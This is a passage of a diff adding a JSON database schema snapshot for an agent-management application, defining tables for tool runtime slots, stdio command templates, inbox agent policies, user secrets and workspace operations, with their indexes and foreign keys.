+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "application_id": {
+          "name": "application_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "connection_id": {
+          "name": "connection_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "project_workspace_id": {
+          "name": "project_workspace_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "execution_workspace_id": {
+          "name": "execution_workspace_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "owner_scope_type": {
+          "name": "owner_scope_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'connection'"
+        },
+        "owner_scope_id": {
+          "name": "owner_scope_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "runtime_kind": {
+          "name": "runtime_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'local_stdio'"
+        },
+        "slot_key": {
+          "name": "slot_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'stopped'"
+        },
+        "reuse_key": {
+          "name": "reuse_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "workspace_scope": {
+          "name": "workspace_scope",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "credential_scope_hash": {
+          "name": "credential_scope_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "provider": {
+          "name": "provider",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "provider_ref": {
+          "name": "provider_ref",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "process_id": {
+          "name": "process_id",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "command_template_key": {
+          "name": "command_template_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "health_status": {
+          "name": "health_status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'unchecked'"
+        },
+        "health_message": {
+          "name": "health_message",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_health_check_at": {
+          "name": "last_health_check_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_started_at": {
+          "name": "last_started_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "started_at": {
+          "name": "started_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "stopped_at": {
+          "name": "stopped_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_used_at": {
+          "name": "last_used_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "idle_expires_at": {
+          "name": "idle_expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "idle_deadline_at": {
+          "name": "idle_deadline_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_error": {
+          "name": "last_error",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "metadata": {
+          "name": "metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_runtime_slots_company_idx": {
+          "name": "tool_runtime_slots_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_runtime_slots_connection_idx": {
+          "name": "tool_runtime_slots_connection_idx",
+          "columns": [
+            {
+              "expression": "connection_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_runtime_slots_execution_workspace_idx": {
+          "name": "tool_runtime_slots_execution_workspace_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "execution_workspace_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_runtime_slots_slot_key_uq": {
+          "name": "tool_runtime_slots_slot_key_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "slot_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_runtime_slots_company_id_companies_id_fk": {
+          "name": "tool_runtime_slots_company_id_companies_id_fk",
+          "tableFrom": "tool_runtime_slots",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_runtime_slots_application_id_tool_applications_id_fk": {
+          "name": "tool_runtime_slots_application_id_tool_applications_id_fk",
+          "tableFrom": "tool_runtime_slots",
+          "tableTo": "tool_applications",
+          "columnsFrom": [
+            "application_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_runtime_slots_connection_id_tool_connections_id_fk": {
+          "name": "tool_runtime_slots_connection_id_tool_connections_id_fk",
+          "tableFrom": "tool_runtime_slots",
+          "tableTo": "tool_connections",
+          "columnsFrom": [
+            "connection_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_runtime_slots_project_workspace_id_project_workspaces_id_fk": {
+          "name": "tool_runtime_slots_project_workspace_id_project_workspaces_id_fk",
+          "tableFrom": "tool_runtime_slots",
+          "tableTo": "project_workspaces",
+          "columnsFrom": [
+            "project_workspace_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_runtime_slots_execution_workspace_id_execution_workspaces_id_fk": {
+          "name": "tool_runtime_slots_execution_workspace_id_execution_workspaces_id_fk",
+          "tableFrom": "tool_runtime_slots",
+          "tableTo": "execution_workspaces",
+          "columnsFrom": [
+            "execution_workspace_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_runtime_slots_issue_id_issues_id_fk": {
+          "name": "tool_runtime_slots_issue_id_issues_id_fk",
+          "tableFrom": "tool_runtime_slots",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.tool_stdio_command_templates": {
+      "name": "tool_stdio_command_templates",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "template_key": {
+          "name": "template_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "description": {
+          "name": "description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "command": {
+          "name": "command",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "args": {
+          "name": "args",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "env_keys": {
+          "name": "env_keys",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "tools": {
+          "name": "tools",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "disabled_at": {
+          "name": "disabled_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_stdio_command_templates_company_idx": {
+          "name": "tool_stdio_command_templates_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_stdio_command_templates_company_status_idx": {
+          "name": "tool_stdio_command_templates_company_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_stdio_command_templates_company_key_uq": {
+          "name": "tool_stdio_command_templates_company_key_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "template_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_stdio_command_templates_company_id_companies_id_fk": {
+          "name": "tool_stdio_command_templates_company_id_companies_id_fk",
+          "tableFrom": "tool_stdio_command_templates",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_stdio_command_templates_created_by_agent_id_agents_id_fk": {
+          "name": "tool_stdio_command_templates_created_by_agent_id_agents_id_fk",
+          "tableFrom": "tool_stdio_command_templates",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.user_inbox_agent_policies": {
+      "name": "user_inbox_agent_policies",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "user_id": {
+          "name": "user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "mode": {
+          "name": "mode",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'open'"
+        },
+        "allowed_agent_ids": {
+          "name": "allowed_agent_ids",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "user_inbox_agent_policies_company_user_uq": {
+          "name": "user_inbox_agent_policies_company_user_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "user_inbox_agent_policies_allowed_agent_ids_idx": {
+          "name": "user_inbox_agent_policies_allowed_agent_ids_idx",
+          "columns": [
+            {
+              "expression": "allowed_agent_ids",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "gin",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "user_inbox_agent_policies_company_id_companies_id_fk": {
+          "name": "user_inbox_agent_policies_company_id_companies_id_fk",
+          "tableFrom": "user_inbox_agent_policies",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "user_inbox_agent_policies_mode_check": {
+          "name": "user_inbox_agent_policies_mode_check",
+          "value": "\"user_inbox_agent_policies\".\"mode\" in ('open', 'allowlist', 'disabled')"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.user_secret_declarations": {
+      "name": "user_secret_declarations",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "user_secret_definition_id": {
+          "name": "user_secret_definition_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "target_type": {
+          "name": "target_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "target_id": {
+          "name": "target_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "config_path": {
+          "name": "config_path",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "env_key": {
+          "name": "env_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "version_selector": {
+          "name": "version_selector",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'latest'"
+        },
+        "required": {
+          "name": "required",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": true
+        },
+        "allow_missing_override": {
+          "name": "allow_missing_override",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "label": {
+          "name": "label",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "user_secret_declarations_company_idx": {
+          "name": "user_secret_declarations_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "user_secret_declarations_definition_idx": {
+          "name": "user_secret_declarations_definition_idx",
+          "columns": [
+            {
+              "expression": "user_secret_definition_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "user_secret_declarations_target_idx": {
+          "name": "user_secret_declarations_target_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "user_secret_declarations_company_required_idx": {
+          "name": "user_secret_declarations_company_required_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "required",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "user_secret_declarations_target_path_uq": {
+          "name": "user_secret_declarations_target_path_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "config_path",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "user_secret_declarations_required_override_idx": {
+          "name": "user_secret_declarations_required_override_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "allow_missing_override",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "where": "\"user_secret_declarations\".\"allow_missing_override\" = true",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "user_secret_declarations_company_id_companies_id_fk": {
+          "name": "user_secret_declarations_company_id_companies_id_fk",
+          "tableFrom": "user_secret_declarations",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "user_secret_declarations_user_secret_definition_id_user_secret_definitions_id_fk": {
+          "name": "user_secret_declarations_user_secret_definition_id_user_secret_definitions_id_fk",
+          "tableFrom": "user_secret_declarations",
+          "tableTo": "user_secret_definitions",
+          "columnsFrom": [
+            "user_secret_definition_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.user_secret_definitions": {
+      "name": "user_secret_definitions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "key": {
+          "name": "key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "description": {
+          "name": "description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "provider": {
+          "name": "provider",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'local_encrypted'"
+        },
+        "managed_mode": {
+          "name": "managed_mode",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'paperclip_managed'"
+        },
+        "provider_config_id": {
+          "name": "provider_config_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "provider_metadata": {
+          "name": "provider_metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "usage_guidance": {
+          "name": "usage_guidance",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "updated_by_agent_id": {
+          "name": "updated_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "updated_by_user_id": {
+          "name": "updated_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "deleted_at": {
+          "name": "deleted_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "user_secret_definitions_company_status_idx": {
+          "name": "user_secret_definitions_company_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "user_secret_definitions_company_provider_idx": {
+          "name": "user_secret_definitions_company_provider_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "provider",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "user_secret_definitions_provider_config_idx": {
+          "name": "user_secret_definitions_provider_config_idx",
+          "columns": [
+            {
+              "expression": "provider_config_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "user_secret_definitions_company_key_uq": {
+          "name": "user_secret_definitions_company_key_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"user_secret_definitions\".\"deleted_at\" is null",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "user_secret_definitions_company_id_companies_id_fk": {
+          "name": "user_secret_definitions_company_id_companies_id_fk",
+          "tableFrom": "user_secret_definitions",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "user_secret_definitions_provider_config_id_company_secret_provider_configs_id_fk": {
+          "name": "user_secret_definitions_provider_config_id_company_secret_provider_configs_id_fk",
+          "tableFrom": "user_secret_definitions",
+          "tableTo": "company_secret_provider_configs",
+          "columnsFrom": [
+            "provider_config_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "user_secret_definitions_created_by_agent_id_agents_id_fk": {
+          "name": "user_secret_definitions_created_by_agent_id_agents_id_fk",
+          "tableFrom": "user_secret_definitions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "user_secret_definitions_updated_by_agent_id_agents_id_fk": {
+          "name": "user_secret_definitions_updated_by_agent_id_agents_id_fk",
+          "tableFrom": "user_secret_definitions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "updated_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.user_sidebar_preferences": {
+      "name": "user_sidebar_preferences",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "user_id": {
+          "name": "user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "company_order": {
+          "name": "company_order",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "user_sidebar_preferences_user_uq": {
+          "name": "user_sidebar_preferences_user_uq",
+          "columns": [
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {},
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.workspace_operations": {
+      "name": "workspace_operations",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "execution_workspace_id": {
+          "name": "execution_workspace_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "heartbeat_run_id": {
+          "name": "heartbeat_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "phase": {
+          "name": "phase",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "command": {
+          "name": "command",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "cwd": {
+          "name": "cwd",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'running'"
+        },
+        "exit_code": {
+          "name": "exit_code",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "log_store": {
+          "name": "log_store",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "log_ref": {
+          "name": "log_ref",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "log_bytes": {
+          "name": "log_bytes",
+          "type": "bigint",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "log_sha256": {
+          "name": "log_sha256",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "log_compressed": {
+          "name": "log_compressed",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "stdout_excerpt": {
+          "name": "stdout_excerpt",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "stderr_excerpt": {
+          "name": "stderr_excerpt",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "metadata": {
+          "name": "metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "started_at": {
+          "name": "started_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "finished_at": {
+          "name": "finished_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "workspace_operations_company_run_started_idx": {
+          "name": "workspace_operations_company_run_started_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "heartbeat_run_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "started_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
